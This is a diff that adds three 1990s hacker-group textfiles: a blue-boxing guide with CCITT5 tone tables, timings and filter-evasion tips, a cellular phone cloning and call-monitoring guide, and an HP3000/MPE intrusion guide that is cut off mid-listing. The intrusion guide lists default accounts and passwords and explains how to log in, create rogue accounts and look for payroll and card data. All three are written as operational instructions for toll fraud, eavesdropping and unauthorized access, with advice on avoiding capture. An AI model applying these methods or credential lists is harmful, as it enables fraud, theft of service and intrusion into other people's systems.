b/textfiles.com/groups/9X/9x_bbox.txt @@ -0,0 +1,554 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + + *[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]* + [9x] [9x] + [9x] I N T R O D U C T I O N [9x] + [9x] T O [9x] + [9x] B L U E B O X I N G [9x] + [9x] B Y [9x] + [9x] L I N E M A N, 1 9 9 6 [9x] + [9x] [9x] + *[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]*[9x]* + + + + + +Intro +----------------- +Y0, this is an intro to blue boxing in the 90's. I don't claim +to be an expert, or an authority on the topic of international or regional +signalling, just someone interested. The information provided in this +file is not illegal. Almost all of it is publicly available. + +*** NOTICE *** +This is not meant to be a comprehensive guide to C5, R1 or any +other form of signalling. Treat it as an introduction. There is alot +of information I have not included, because a) It would confusing, +and b) It's not important. Id like to stress that alot of my examples +have been OVER SIMPLIFIED for convetion. I have included a list of refrences +that you should probably check-out if your interested. This info is/was +publicly available at most quality Librarys. Fr3e inph0 4 aLl. + +As with all things of a suspicious nature, you will eventually get +caught. How long you go without getting caught depends on skill, precaution, +and luck. + + +Generally, Wut iZ Signalling +----------------- +Signalling is the term used to describe how telecommunication +networks communicate with each other. There are many types of signalling, +including DC Pulsing (like on a rotary-fone) and even DTMF. Dialing +a phone number is actually a form of signalling called subscriber line +signalling. + +Telephone networks communicate via special "lines", connecting each other +up, called Trunks. Information about a call, and in some cases the +conversation, is passed through a trunk line to the called network. The +called end gathers the signalling information, manipulates some hardware, +and voila- a call is made. If the called line is busy etc.. then the +called end signals back to the called system, and the caller get a busy +signal. + +Thats way over simplified, (and somewhat incorrect) but I'll explain more as +I go. Until then, here is an analogy. :) + +Trunk lines are like Bridges (the kind you drive over). Instead of running +many small bridges to various locations, one large bridge is built in a +convienient spot. Even though there is only one bridge, it's big and handles +lots of traffic, effectivley connecting two sections of town. :) + +The one signalling system I will discuss is: CCITT5. It is still possible +to use other systems (Like R1), but most people wont be able to find them. + +CCITT5 (C5) is an international Signalling system. It was designed for +handeling international calls going over the trans-atlantic cables. Its +still widley used in many South American, Carribean, Asian and poorer +countrys. Slowly, it's dying out. + +C5 is a standard protocal set by the ITU (International Telecommunications +Union), formerly known as the CCITT. (International Telegraph and Telephone +Consulative Committee). They set communication standards and publish lots of +documentation about the aforementioned as well as various other +communications related topics. + +More about Signalling +----------------- +As is with most things, its kind of neccesary to understand a bit about +the system you will be (ab)using. In the following sections, I'll describe +Trunk Lines, terminal and transit networks, line signalling, and +interregister signalling. + +Trunk Lines +----------------- +A trunk line is a circut that connects two (2) networks together. You +may already be familiar with the trunk lines running between CO's. +For C5, however, the trunk lines will be the ones that connect transit +(international) networks to terminal (national) networks in distant countrys. + +For our C5 purposes, an International trunk will look like this: + + __________ __________ + | OUTGOING |=>====>====> FORWARD >====>====>==| INCOMING | + | EXCHANGE | | EXCHANGE | + |__________|==<====<=== BACKWARD =<====<====<=|__________| + (Caller) (Reciever) + +Signals sent in the forward direction go from the callers +end to the recipiants end, and the opposite goes for the backward +direction. + +For C5 this is not compleatly acurate. In reality it's not the outgoing +exchange the sends the C5 signalling info to the incoming exchange; its +really an international "gateway" at the transit (national) exchange that +sends the C5 info to the incoming transit exchange. Go see the refrences if +you really care. + +Signals really just audio noises (like beeps) that represent certain +"commands" (line signalling) and "parameters" (interregister singalling) +to be issued to the routing/switching equipment. The signalling +hardware picks these signals up by looking for characteristic energy levels. +At the end of this file (amongst the other tables) you will find a list +of singals, and their frequencys. + +The trunk lines not only transmit signalling information, they also +transmit your conversation. So, when you make a call over one of these +trunks you have access to more than a friendly voice. :) I once wondered +why in the hell anyone would ever do such a stupid thing, but the answer +is simple. With the volume of traffic going overseas, and the cost of +the cable, equipment, boats, crew and design, the profit for using a single +line to handle both signalling and voice eaisly outweighs the amount of +"potential" loss due to fraud or bad connections. No one really cares. + +If your wondering how your going to find a C5 trunk and access it for +free, then stop. Its really simple. Home Country Directs take care of it +for you. You just dial an 800/888 that's connected to another country. +Ive included an older list of HCD's accessable from Canada at the end +of this file. + + Some terms you should know: + + Terminal -- National + Transit -- International + +Line Signalling +----------------- +This really only applies to C5, because R1 uses 2600Hz to sequentially +determine the state of line conditions. + +Line signalling issues commands/responses that mess with the actual +connection of the line. Answer, Busy-Flash, Clear Forward and Clear Back +are all Line Signals. Though you only need to know about Clear Forward +for now, I'll give you a brief definition of the above. + + Answer: This is a signal sent in the backward direction to indicate + that a connection has been established to the called party + and appropriate action (like billing) should begin. + + Busy: This a signal sent in the backward direction to indicate + that the called party's line is not available. This doesn't + always mean the line is busy, it just means you can't talk + to them right yet. + + Clear Forward: This is a signal, sent in the forward direction to tell + the incoming exchange to kill the current interregister + connection. Its pretty much the same thing as hanging up. + Sort of. :) (See clear backward) + +Clear Backward: This is a signal, sent in the backward direction, to tell + the outgoing exchange to clear the current interregister + connection (disconnect the call from the [inter]national + network). To you, its almost useless. + +Proceed-to-send: A signal sent in response to a seize, by the incoming + exchange, indicating that it is ready to recieve + interregister (routing) information. + + Release Guard: A signal sent in the backward direction indicating + that the circut is free at the incoming end. + + Seize: A signal sent in the forward direction to prepare the + incoming exchange for a call. + +There are alot of other line signalls, but you'll have to look at the +refrences for those. The big ones to pay attention to now are Seize, +Release Guard, Clear Forward and Proceed-to-send. + +To best describe the operation of line signalling, I'll use an example +of a call from John Smith in Albany, NY to a Johan Smitelly in Greece. + + > = forward direction + < = backward direction + + J.Smith: Dials Greece --+ Call is routed from the US to Greece. + | + | + | + 1. >US: SEIZE + 2. US: KP1-XXXXXXX-ST (Interregister, more later) + 4. US: CLEAR FORWARD + + 1. US takes hold of a line + 2. Greece says Okay, where to? + 3. US says "Terminal call, XXXXXXXX, go" + 4. Ring + 5. Greece says - "Hey! America, start billing your subscriber." + 6. Greece tells america to let go of their circut. + 7. America says let go of yours. + The call is over. + + +And thats pretty much it. After the clear forward the whole process +starts over again. + +As a blue boxer, you must: Terminate your current call (with a Clear Forward) + Take control of a circut (With a Siezure) + Send your NEW routing info (KPX-XXXXXXXX-ST) + +The incoming exchange will respond with all of the appropriate tones, because +it thinks your signalling equipment. + +And this brings me into interregister signalling. + +Interregister Signalling +----------------- +You learned how to take control of a line (with Line Signalling), but +you still don't know how to do anything with that line. Thats where +Interregister signalling comes into play. Interregister signalling is the +process of actually routing your call (telling it where to go). The cool +thing is that you can make your call go ANYWHERE (theoretically), +give yourself a higher priority then a regular caller, and gain access to +numbers that you can't get to through the regular telephone network. + +Here are a few terms you will need to know: + + KP1: Indicates the beggining of a terminal (national) routing. + + KP2: Indicates the beggining of a transit (international) routing. + + ST: Indicates the end of a routing. + +I'll start with terminal calls. + +A terminal call is one that is inside of the national network that owns the +trunk line. It's kind of like a local call, but fuck the regional boundries. +The format for a typical terminal call is: + + KP1 - XXXXXXX - ST + +Pretty easy. Just like R1. :) + +Transit calls are formated a little diffrent because they obviously need +more information. The format for a typical transit call is: + + KP2 - Country Code - Discriminating Digit - XXXXXXX - ST + + The Discriminating Digit specifies what kind of caller you are + (or in some cases your language). + +There are other routing formats, depending on what you want to do. Here +are some examples, just so it'll all sink in. + +* Note: + F> = Forward direction (You send it) + R< = Backward direction (You hear it) + + All examples start after a call has been placed to a C5 Exchange + in whatever country. + +. Type of Call: Terminal, Automatic + Number to call: 506-674-7575 + + R< "Hello?" + F> CLEAR FORWARD + R< RELEASAE GUARD + F> SEIZE + R< PROCEED-TO-SEND + F> KP1-506-674-7575-ST + + +. Type of Call: Transit, Automatic + Number to Call: 44-602-86125 + R< "Ci?" + F> CLEAR FORWARD + R< RELEASE GUARD + F> SIEZE + R< PROCEED-TO-SEND + F> KP2-44-10-602-86125-ST + + +. Type of Call: Terminal, Semi-automatic + Number to Call: English Code11(Inward) Operator + + R<"Snakes Crack House, Snake speaking." + F>CLEAR FORWARD + RSIEZE + RKP1-2-Code11-ST + +There's enough there for you to work with. Enj0y. Other than a few +technical details, you should now know enough to get started on your own. +If you want more information, check out the refrences. Check out the +next session if you want to avoid alot of hassle. + + +Q & A session +----------------- +It would be really nice if everything were as easy as sending a never-changing +series of tones down a line. In the real world things don't work quite as +easily. The line signalling codes a VERY picky and need to be sent at +exactly the right time, with the proper delays in between signals. +This section will just run through alot of common problems and their +solutions. + +Q. Where can I get a blue box? + +A. Go download Scavenger Dialer, By Scavenger + ftp: ftp.fc.net/phrack + or + Write your own + or + Build a hardware bluebox (The Jolly Box) + + +Q. How do I know if the number Im calling goes through a C5 trunk? + +A. Usually if you listen, you will hear wierd beeps before the phone + rings, when the person answers the phone, or after the called party + hangs up. These noises are actually signals being sent in the + reverse direction. + +Q. Why can't I just blast tones, and how do I find the freq's?? + +A. The breaking-freq's of Blue boxing are alot like k0d3z to wAReZ k1dz. + Trading is a good way to get them, but you can also scan them. Typically + the timings will be: + + Clear Forward | Seize + Length: 150ms + 150ms + | + Delay: 10ms | + + When scanning, just adjust your timings by about 10 ms. The lengths + of Clear Forward, Delay, and Seize are all variable. + + +Q. I'm positive I'm sending the right tones with the right freqs. + Why isn't anything working? + +A. Sound quality is a big issue too. The tones are picked up by energy level, + which means that they are volume sensitive. To much volume, to much + energy. To little volume, not enough energy. It wouldn't be a problem + if you could send tones DIRECTLY to the incoming exchange, but the call + is really routed through 2 national networks (outgoing and incoming) + over a potentially crappy multiplexed wire, and through a middle + transit international exchange. Sometimes the connections are so poor + you just have to hang-up (this is rare). Remember that the countrys + you are calling are only setup this way because it's affordable. + + For instance- Iceland has mechanical switching equipment handling a certain + Canada-Iceland trunk. If you send signals quick enough, you'll actually + knock their equipment out of whack, and shut down the trunk until someone + manually puts the thing back on track. :) Just an example of the kind of + conditions you can expect. + + If your playing the tones into a phone, make sure your phone has excellent + recpetion (Nortern Telecoms Harmony's are perfect), and use a small, + high-quality earphone. + + If you pump the tones into the wire, make sure you get rid of any noise. + + +Q. I hear the release guard, but I can't sieze. Whats wrong? + +A. You probably got your volume screwed, the timings wrong, or your + tones arn't pure enough. + + +Q. I only use Cellular. Can I still box? + +A. It IS possible to box over a cell phone. Ive never done it myself, but + I know someone who has gotten it to work (after considerable effort) + + +Q. Why can't I call my pals back in the US? + +A. Routing is an interesting problem. Not every trunk is allowed to route + everywhere. Sometimes you can only call certain countrys, and sometimes + you can't call any (other than terminal). Some require a routing code, + some don't. If you can dial transit calls to a limited number of countrys, + start playing with mutliple siezures. + + +Q. What are multiple Seizures? + +A. You call one country, box to another, sieze the new country, call + another, etc... It's like finding a path through various countrys + to make it to your destination. + + +Q. Damn AT&T. Filtering my line. I'm gonna sue, but until then, what? + +A. If your tones are being filtered by your telco, then add some noise. + You'll need find that small window that makes your tones valid enough + to signal, yet bogus enough to pass the filters. There are many + methods to doing this. + . Add side tones + . Dont use + . Constantly adjust your volume (to generate a warbeling effect). + + +Q. I have a big hack comming up, and I really DON'T want to get caught. + How can I maximize my chances of success via the Blue box? + +A. The answer to that is politics. :) Go through countrys that are + on not-so-friendly terms with eachother. If the "attacked" country + cant find out where the call came from because the country that handled + the call refuses to cooperate, what can they do? + + +Tables and Charts +----------------- +Here's all of the info you need. + + + CCITT system 5 Line Signals + Signal Frequency(Hz) + --------------+-------------- + Seizure 2400 * + Clear Forward 2600 + 2400 * + Clear Backward 2600 + Proceed-to-Send 2600 + Release guard 2400 + 2600 + + * Signals relevant to this + file. There are more + signals, but you can look + them up yourself if your + really interested. + + + + CCITT syste 5 Interregister MF Signals + Signal Frequency(Hz) + ------------+-------------- + KP1 (term) 1100 + 1700 + KP2 (trans) 1300 + 1700 + Digit 1 700 + 900 + 2 700 + 1100 + 3 900 + 1100 + 4 700 + 1300 + 5 900 + 1300 + 6 1100 + 1300 + 7 700 + 1500 + 8 900 + 1500 + 9 1100 + 1500 + 0 1300 + 1500 + Code11 700 + 1700 + Code12 900 + 1700 + ST (end) 1500 + 1700 + + + + List of Home Country Directs + ------------------------------- + Australia Direct 800-682-2878 + Austria Direct 800-624-0043 + Belgium Direct 800-472-0032 + Belize Direct 800-235-1154 + Bermuda Direct 800-232-2067 + Brazil Direct 800-344-1055 + British VI Direct 800-248-6585 + Cayman Direct 800-852-3653 + Chile Direct 800-552-0056 + China Direct 800-532-4462 + Costa Rica Direct 800-252-5114 + Denmark Direct 800-762-0045 + El Salvador Direct 800-422-2425 + Finland Direct 800-232-0358 + France Direct 800-537-2623 + Germany Direct 800-292-0049 + Greece Direct 800-443-5527 + Guam Direct 800-367-4826 + HK Direct 800-992-2323 + Hungary Direct 800-352-9469 + Indonesia Direct 800-242-4757 + Ireland Direct 800-562-6262 + Italy Direct 800-543-7662 + Japan Direct 800-543-0051 + Korea Direct 800-822-8256 + Macau Direct 800-622-2821 + Malasia Direct 800-772-7369 + Netherlands Direct 800-432-0031 + Norway Direct 800-292-0047 + New Zealand Direct 800-248-0064 + Portugal Direct 800-822-2776 + Panama Direct 800-872-6106 + Philippines Direct 800-336-7445 + Singapore Direct 800-822-6588 + Spain Direct 800-247-7246 + Sweden Direct 800-345-0046 + Taiwan Direct 800-626-0979 + Thailand Direct 800-342-0066 + Turkey Direct 800-828-2646 + UK Direct 800-445-5667 + Uruguay Direct 800-245-8411 + Yugoslavia Direct 800-367-9841 / 9842 + + * Thanks to the Phone Company for bringing + us this file + + + +Conclusion +------------ +I hope I've answered some of the more common question relating to signalling. +My intent was to provide an introduction to signalling. If you found this +file useful, please pass it along. If you think it sucks, write a better +one. + +-LineMan + +Greets go out to: + + All 9X members -- W3rD up! + Cartel Members -- R0q 0n, b-ware the Delta + Scavenger -- You have the best dialer in t0wn. + Substance -- Ewe n33d some hash. + SL -- Good luck... + Sl0ppy -- ph3aR the GPk ph0Rc3z + QwiK -- Yo. B??36, + Virus -- I got a job :) + Bspline -- Hi + TelcoNigga -- Wassup + The Kansas Crew -- Y0, I will visit!@# + BlackHeart -- Get a k0mpUd3r. + WildMan -- Java!@ + + "He who claims to know everything, knows the least of + all; for he is not aware of that which he does not know." diff --git a/textfiles.com/groups/9X/9x_cell.txt b/textfiles.com/groups/9X/9x_cell.txt new file mode 100644 index 00000000..36017e76 --- /dev/null +++ b/textfiles.com/groups/9X/9x_cell.txt @@ -0,0 +1,203 @@ +STATION ID - 7091/6.411 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + Flygu's (flygu=lordofpain) Cellular Phreaking Guide For 96' + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +about flygu: well flyGu, is just my IRC nick, i am Lord Of Pain from + San Diego ..i wrote dis cause Substance wanted + me to write something cool about cellular for his group 9x. + dis file will be released as a 9x release. thank you very much. + +disclaimer: read this for learning. knowledge is power over those whom + opress our mind and soul. however, do not get arrested for + doing this. if you are gonna go down, go down as a fighter for + free thinking and our pathetic species. they want us to go down + for shit like this, so watch yourself. + + +thankx to: most thanx to the old school 619 people. they were around + and ran boards and supported the scene. (cj, bones, kludge, + doctor disector, mrfab, ,dr.who, g, tck, tem, iron reeper). + special thanx to : Vigilante,digitalorgasm,coolddude,mrfab, + bobdobbs,satan,emp,diabolus,sliver,and everyone else in 619. + thanx guys + + + +NOW FOR THE MANUAL. . Cellular Phreaking Manual By FlyGU (lordofpain) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + + + Cellular phones are great tools for any hacker/phreaker. +They can NOT be traced, they are mobile, and you can easily modify them. +Although CID for cellz is in the making (i am sure) al you have to do is +modify the cell over and over, and you wont get caught. + + Before I teach you how to modify a cell phone. Let me teach you +the basics of how it works. Cellular companies have stations which +have honeycomb like structures called cells. Each cell is capable of +having certain number of calls and usually handles an area. The phone +sends its into to the tower, and it gets acess so it can place the call. +The phone actually sends and recieves at the same time. So there are 2 +channels involved. If you know one, you know the other because they are +45 appart. (simple math, if you gonna be a phreaker/hacker you can atleast +figure this out. :} )... + + +ESN- electronic serial number +MIN- mobile identification number +NAM- numeric assignment module +FOVC- forward voice channel +FOCC- forward control channel +ROVC- reverse voice channel +RECC- reverse control channel + + + Your phone also has software in it. IT has a chip with actuall +sofware written to control its functions. Each make and brand name has a +different software. Software can be modified to your advantage. You will +learn more about this leater in this text. + + + Now that you know how it works you should know "how not to get +caught". Basically if you are doing a major hacking project, change +your physical location and the esn.min pair every 2 hours or so. If you +just call some LD boardz, then you can change it like ATLEAST once a day. +This is because of 3 simple things. The 1st is that the cellular company +has clonning detection. For example you are 20 miles away from the actuall +owner of a cellular phone. If he makes a call, then you make a call within +5 minutes a clonning flag goes off, because they know where you are located! +and since there is no way for him to get to where you are in 5 minutes a +security flag goes off on his account. Second reason is that they know +approximately what area you are in when you use the phone, so if they want +to catch you thell use directional antena and catch you. Thats +why if you move around alot and change pairs alot they cant catch you! and +third reason is the owner of the phone might get charged for your calls, so +switch pairs around so that you dont ruin someones life! (have morals in all +that you do, your morals dont have to be what society wants them to be, just +set them for yourself.) + + The company that makes the cell puts a permanet ESN on your phone +which is not made to be changed. It is permanently burned into a chip. Your +phone also has software thats in it. Its kinda like a cellular operation +system. Each type and brand of phone has different software. All phones +allow you to change the NAM and other features. So here lets assume you +already got a pair you want to put into the phone (ill teach you how to +snag pairs later in this manual). There are several ways you can do that. +On some phones you can make a cable and use software on your computer to +change the esn.min pair. This software is readily available to you on +the internet. There is a second way which is 100% better then the first. +You can burn new software into your phone that will alow you to change the +ESN and store it at a different location. You can make this software if +get the original software (you gonna have to read the chip, then work +your way to the origian software) and add some minor adjustments to it. +If you do not have programming skills you can go to your web browser and +go to www.l0pht.com and go to drwho's radiophone (its in archives) and +you will find what you need there. So now you that you have that, can +now change the esn, and you can change the min. Thats it! you just now +clonned a cellular phone. But dont think that is it, hundreds of other +fun things you can do with your cellular phone. + + Ok. You now have a phone that allows you to change the ESN and the +NAM. But what fucking good is that gonna do you if you cant get (snarf) the +ESN.MIN pair. There are alot of ways to get pairs i will present some +methods to you that already work and at the end of this manual i will +include some ideas you can try that no one else has tried before. + + + +Method 1 +_____________________________________________________________________________ +the simplest way is this. tzanger wrote this little segment on irc the other +day so method one is his + + three components make the hardware: + + comparator, PLL and XOR gate. take the discriminator's output from the + scanner tuned on ROVC and feed it to the op amp, tune the PLL for 10khz and + run its output and the incoming datastream thrugh the xor. dats it, after + you do this you should have a bunch of ddi info. SIMPLE! +______________________________________________________________________________ + + + +Method 2 +_____________________________________________________________________________ + + There is software available that you can use with your modified +scanner to recieve pairs using your computer. look for it on the net. +i suggest trying all the web search engines. i have seen that stuff on +alot of pages i visited...i used tzanger's text that he wrote it in a way +that you guys can easily understand. +____________________________________________________________________________ + + +Thats it. Its that simple. This works very easily, your scanner picks up the +RECC (reverse channels where the pairs are transmitted) then you just convert +them to readable format. simple! + + + But clonning is not all you can do with your cellular phone. +You can monitor other calls with your cellular phone also. The only +problem is handoffs. They occur because a person moves out of range from +a cell, and a handoff occurs. He gets transported to another cell. +But this can also be easily conquered. If you have a Motorola all you have +to do is put it into test mode, and unmute the audio, and go to a channel +and listen! So your cellular phone can also be a tracking and spying device. +The posibilities are unlimmited. have lots of cellular phun! + + +---experimental ideaz for your hungry mind to munch on---------------- + + + i have personally seen with my own eyes a cellular phone pick up the + channel where ESN.MIN's are transmited (yes i heard it, the transmition + of the pairs makes the most annoying noise i have ever heard. hehehe). + so now all you gotz to do is convert them and store them.. i believe + that someday someone will create a phone that can do that. you can also + convert somehow (think hard, i wont give you this one) and store in + your computer.......i even heard rumors that someone had a phone that + works like this: you put the number you want to call, push send, then + the phone snarfs a pair, and uses it just for that one call! i also + heard rumors of phones having 1000 esn.min's in them, and they use them + up slowly. I AM NOT SURE IF THESE RUMORS ARE TRUE, THEY CAN BE LIES.. + but we can make them true. cause H/P is all about learning and trying. + +__________________________________________________________________________ + +# end. i made this manual short and complete. i am lazy. if you want to learn + more i suggest asking someone who cares because i do not. i wrote this to + help those who are motivated enough to get off there ass and learn more. + +_____________________________________________________________________________ + _ + |*| +Author: flygu (a.k.a Lord Of Pain) |*| + _______|*| + /*12345678#\ <---- :-) + |__________| + | | + FLYGU thinks that OKI | 1 2 3 | + is da SHITZ! | 4 5 6 | + | 7 8 9 | <--------- hail da oki! + | * 0 # | + |RclStoAlMe| +btw: did i forget to |Snd Cl End| + say that oki's rule! |-+oki900__| + |__________| <---oki900. da best phone! + +find me on IRC as flygu, or on a BBS as Lord Of Pain..talk to me if you wish +______________________________________________________________________________ diff --git a/textfiles.com/groups/9X/9x_hp3.txt b/textfiles.com/groups/9X/9x_hp3.txt new file mode 100644 index 00000000..0189bf9e --- /dev/null +++ b/textfiles.com/groups/9X/9x_hp3.txt @@ -0,0 +1,544 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + Author : OneThought + Subject: Hacking the HP3000/MPE Platform + + + There have been several write ups written in the past about the +MPE operating system and how to hack it. To me many of these are +out of date with the times or havent gone into certin aspects of +the MPE-iX OS. To start this off i am going to shatter the myth +right now that the MPE is a out of date operating system and is +"not worth hacking" a phrase i have heard more then once now a +days. The HP3000/MPE OS is still ideal for a small work place of +10-15 terminals, several of these servers networked together creates +a powerful accounting and work system , Infact the MPE OSes latest +version was released in 1995 (MPE-iX 5.0) and is already being picked +up by several companies. Right now you are asking yourself "Why should +i hack a HP3000?". Besides being a fun system to navigate around, in +many cases HP3000s have some very good information inside of them. +Credit Card #s, Employees personal information, Payroll files are +all kept on HP3000s. + + #Finding a HP3000.# + + When it comes down to finding a HP3000 your options are limited. +Your best luck will definetly be scanning business exchanges, However +you may also find a few inside the network information system of some +unix boxes on the net. You will know when you have found one by the +MPE XL: Prompt on older MPEs,MPE/iX, or MPE/V. If you are unsure of +one being a HP3000 simply type some random letters at the prompt and +press enter. If it is truely a HP3000 you will get the message +"EXPECTED HELLO COMMAND". + + #Getting inside.# + + If you are attempting to hack a unsecured HP3000 then factory +defauts will suffice most of the time. The following is a list +of default accounts and some password protected accounts. + +ADVMAIL.HPOFFICE +MGR.HPDESK +MGR.ROBLLE +MGR.VESOFT +MGR.WORD +MGR.INTX3 +MGR.CAROLIAN +MGR.XLSERVER +MGR.CONV +MGR.HPP187 +MGR.HPP189 +MGR.HPP189 +MGR.HPP196 +MGR.HPOFFICE +MGR.CCC +MGR.RJE +MGR.SYS Acct password: LOTUS +MGR.ITF3000 +MGR.SECURITY +MGR.HPWORD +MGR.TELESUP Acct password: HPONLY User Password: MGR +MGR.COGNOS +MGR.HPONLY +MGR.NETBASE +MGR.CNAS +MGR.REGO +MAIL.NETBASE +MAIL.MAIL +MAIL.TELESUP +MAIL.HPOFFICE +MAILMAN.HPOFFICE +OPERATOR.SUPPORT +OPERATOR.SYS +OPERATOR.COGNOS +OPERATOR.SYSTEM +OPERATOR.DISC +FIELD.HP +FIELD.HPUNSUP +FIELD.HPWORD +FIELD.SERVICE Acct password: HPWORD +FIELD.SUPPORT,PUB +FIELD.HPP187 +MANAGER.SYS +MANAGER.COGNOS +MANAGER.HPOFFICE +MANAGER.ITF3000 +MANAGER.SECURITY +MANAGER.TCH +SYS.TELESP +WP.HPOFFICE +SPOOLMAN.HPOFFICE +RSBCMON.SYS +PCUSER.SYS + +Use the following default accounts listed above to login as +souch. + + :HELLO MGR.SYS,PUB + + + Login Command: HELLO + Username : MGR + Account name : SYS + Group Name : PUB + + When trying account and user names sometimes you will get the +message "ACCOUNT EXISTS, USERNAME DOES NOT". This means that you +have enterd a valid account but not a valid user name. The same +goes for "ACCOUNT/USERNAME EXIST BUT NOT IN HOME GROUP". Here +you must include a valid group name with the login account name +and user name. + +*Note The group name is not required to be typed at the login prompt +most of the time. + + + #Barriers that will stand in the way of gaining access to a HP3000.# + + Terminal password. Sometimes you will log in on a default account +and then recieve the prompt + +TERMINAL PASSWORD: + + The terminal password is a eight bit alpha password that is not +a normal feature of HP3000s, But some system administrators request +it being on a new system. The only way to get by this is a brute +force attack, or going out and doing some field work i.e trashing +at the companys location,social engineering, etc etc. + + Another problem you may run across is a terminal that will not +accept logins from certin accounts. When running into this you will +need to find another account that can login on that terminal. + +Case in point: + +CONNECT 9600/ARQ/V32/LAPM/V42BIS +MPE XL:HELLO OPERATOR.SYS +HP3000 RELEASE: B.40.00 USER VERSION: B.40.00 +FRI, JUN 28, 1996, 6:11 PM +MPE/iX HP31900 B.30.45 Copyright Hewlett-Packard 1987. +All Rights Reserved. + +YOU ARE AT A TERMINAL THAT +YOU ARE NOT ALLOWED TO USE + SO NOW I LOG YOU OFF. + +END OF PROGRAM +CPU=1. CONNECT=1. FRI, JUN 28, 1996, 6:11 PM. + +NO CARRIER + +Something else you may run into is closed sessions. This means that +at that time the system cannot create a new session for a number of +reasons, Maximum of users are already signed on or logins are not allowed +at that time. The best thing to do when running into that is to try again +every few hours till you are allowed to start a new session. + +Case in point: + +CONNECT 9600/ARQ/V32/LAPM/V42BIS +MPE XL: HELLO MGR.RJE + +CAN'T START A NEW SESSION (CIERR 970) + +NO CARRIER + + The last thing i will cover when it comes to barriers on HP3000s +is the VESOFT add on. I will not go into this in depth but just give +you a rough over view. First off to identify a system running VESOFT +you will have MPE/V: as your prompt. There will be no default accounts +on this system, if you get in by other means it will be extremly +restrictive and secure. Your best hope here is to give up. + +The first thing that you will want to do once inside is find out what +access (if any) that you have. This is done by doing a LISTACCT. + +Case in point: + +:LISTACCT +******************** +ACCOUNT: + +DISC SPACE: 0(SECTORS) PASSWORD: ** +CPU TIME : 2(SECONDS) LOC ATTR: $00000000 +CONNECT TIME: 2(MINUTES) SECURITY--READ : ANY +DISC LIMIT: UNLIMITED WRITE : ANY +CPU LIMIT : UNLIMITED APPEND : ANY +CONNECT LIMIT: UNLIMITED LOCK : ANY +MAX PRI : 150 EXECUTE : ANY +GRP UFID : $055E0002 $0AC53AD3 $0055A7BE $2C052855 $04A775F1 +USER UFID: $00000000 $00000000 $00000000 $00000000 $00000000 +CAP: AM,ND,SF,BA,IA + +Most of this is self explanitory. The imprtant part to look at +is the CAP: section. Here is the capeability list needed to understand +what access you have. + +Abrev. Capeability. + +SM System Manager +AM Account Manager +AL Account Librarian +GL Group Librarian +DI Diagnostician +OP System Supervisor +NA Network Administrator +NM Node Manager +SF Permanent Files +ND Access to nonsharable I/O devices +UV Use Volumes +CV Create Volumes +CS Use Communications Subsystem +PS Programmatic Sessions +LG User Logging +PH Process Handling +DS Extra Data Segments +MR Multiple RINs +PM Privilaged mode +IA Interactive Access +BA Local Batch Access + +Now compare the chart i have just included with what ever +account you have. This will dictate what privilaged commands +you may be able to execute as i will describe later in this file. + + #Making yourself an account# + + Making yourself an account requires SM or AM access. On some ocasions +you will not be able to make an account with AM access if the System +Manager has modified your account. You will be able to give your new +account equal access as the one you are on when making it. + +Case in point: + +:NEWUSER + + The same can also be said for the following commands.. + +:NEWGROUP *Creates a new group, very noticeable + +:PURGEUSER *Delites a user + +:PURGEGROUP *Delites a group. + + #Time to look around.# + +You now have hopefully created a new account and know what access +you have. Now it is time to check the system out. First you will need +to know how to use the help file, as HPs may differ from version +to version. Type HELP and it will bring +up other words to look at or a section of the help file. Do NOT type +HELP as the entire MPE manuel will be scrolled on the screen, Taking +aproximetly 18 minutes to be fully scrolled. + + To find out how big this system is and what devices are available +type.. + +:SHOWDEV + LDEV AVAIL OWNERSHIP VOLID DEN ASSOCIATION + + 1 DISC N/A + 2 DISC N/A + 3 DISC N/A + 4 DISC N/A + 5 AVAIL + 6 SPOOLED SPOOLER OUT + 7 AVAIL + 8 AVAIL + 9 AVAIL + 10 A AVAIL + 11 AVAIL + 12 AVAIL + 13 AVAIL + 14 AVAIL + 15 AVAIL + 16 AVAIL + 17 AVAIL + 18 AVAIL + 19 AVAIL + 20 A UNAVAIL #S8886: 8 FILES + 21 A AVAIL + 33 SPOOLED SPOOLER OUT + 40 SPOOLED SPOOLER OUT + 103 J AVAIL + 104 J AVAIL + 105 J AVAIL + 106 J AVAIL + 107 J AVAIL + 108 J AVAIL + 109 J AVAIL + 110 J AVAIL + 111 J AVAIL + 112 J AVAIL + 113 J AVAIL + 114 J AVAIL + 115 J AVAIL + 116 J UNAVAIL #S10041: 8 FILES + 117 J AVAIL + +This will give you a reference for downloading which i will cover +later. + + #Navigating commands around groups and files# + + LISTF @ Lists every file in your current group + +Case in point: + +:LISTF @ + +FILENAME + +ABORTEST ACCTJOBS AIFKUF ALOCATEJ ANSTART ANSTAT +ANSTOP ANUTIL ASOCTBL ATCUT000 ATCUTIL AUTOHIST +BACKUP BDLABEL BDLT BDMO BDREPORT BDXM +BRW BRWACCSD BRWAPPD BRWC000 BRWCOMP BRWCONV +BRWD3000 BRWDL000 BRWDLIST BRWDUSER BRWEMPTY BRWEXEC +BRWEXECO BRWF000 BRWGEND BRWJ000 BRWL000 BRWLIST +BRWM000 BRWSD BRWSDEXT BRWSETUP BRWSTART BRWSTOA +BRWSTRM 